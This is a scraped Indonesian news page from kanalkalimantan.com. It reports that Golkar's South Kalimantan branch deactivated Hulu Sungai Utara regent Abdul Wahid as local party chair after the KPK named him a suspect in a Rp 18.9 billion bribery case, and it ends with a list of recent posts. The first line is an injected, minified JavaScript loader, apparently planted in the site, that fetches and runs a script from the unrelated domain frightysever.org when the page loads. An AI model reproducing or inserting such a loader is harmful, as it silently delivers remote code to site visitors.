(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Abdul Wahid Dicopot dari Ketua DPD Golkar HSU, Buntut KPK Tetapkan Tersangka


KANALKALIMANTAN.COM, BANJARMASIN – Menyusul ditetapkan KPK sebagai tersangka kasus suap terhadap Bupati Hulu Sungai Utara (HSU) Abdul Wahid, DPD Partai Golkar Kalsel pun bersikap

Kader beringin itu juga ditahan komisi anti rasuah, Ketua DPD Partai Golkar Kabupaten HSU dinon aktifkan dari jabatannya.

Sekretaris DPD Partai Golkar Kalsel H Supian HK menegaskan partai Golkar langsung bertindak tegas atas status tersangka serta penahanan yang dilakukan KPK terhadap Abdul Wahid.

KPK menetapkan Bupati. HSU Abdul Wahid sebagai tersangka diduga menerima aliran commitment fee hingga Rp 18,9 miliar dari beberapa proyek di Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) HSU sejak 2019 hingga 2021.

 

Baca juga : Mabuk Tergeletak di Pinggir Jalan, Pria Bawa Sajam Diamankan Polres Banjarbaru

“Kami menghormati keputusan KPK menetapkan saudara Abdul Wahid, Bupati HSU sekaligus Ketua DPD Partai Golkar HSU sebagai tersangka. Kami sepenuhnya menyerahkan kasus ini kepada penegak hukum (KPK),” kata H Supian HK kepada awak media, Jumat (19/11/2021).

Menurut Ketua DPRD Kalsel ini, sementara masalah penonaktifan Abdul Wahid sebagai Bupati HSU merupakan kewenangan dari Gubernur Kalsel H Sahbirin Noor untuk mengusulkan ke Menteri Dalam Negeri (Mendagri) Tito Karnavian.

Khusus roda organisasi Partai Golkar agar tetap berjalan, H Supian menegaskan pihaknya menyiapkan H Sahrujani sebagai Plt Ketua DPD Partai Golkar HSU.

H Sahrujani sekarang dipercaya sebagai Ketua Komisi III DPRD Kalsel dari Fraksi Golkar. Sebelumnya, Sahrujani merupakan Ketua DPRD HSU, serta pengurus harian Golkar di Kalsel.

 

Baca juga : FMIPA ULM Dampingi Mitra Binaan Kelola Ekopreneursip di Pegunungan Meratus

Dalam proses hukum, partai Golkar tetap mengacu pada asas praduga tak bersalah. Walau kini, Abdul Wahid telah ditahan dan dijadikan tersangka oleh KPK, status hukumnya belum terpidana karena kasusnya saat ini telah memasuki tahap penyidikan. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

6 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

6 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

9 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

12 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

21 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

22 jam ago

This website uses cookies.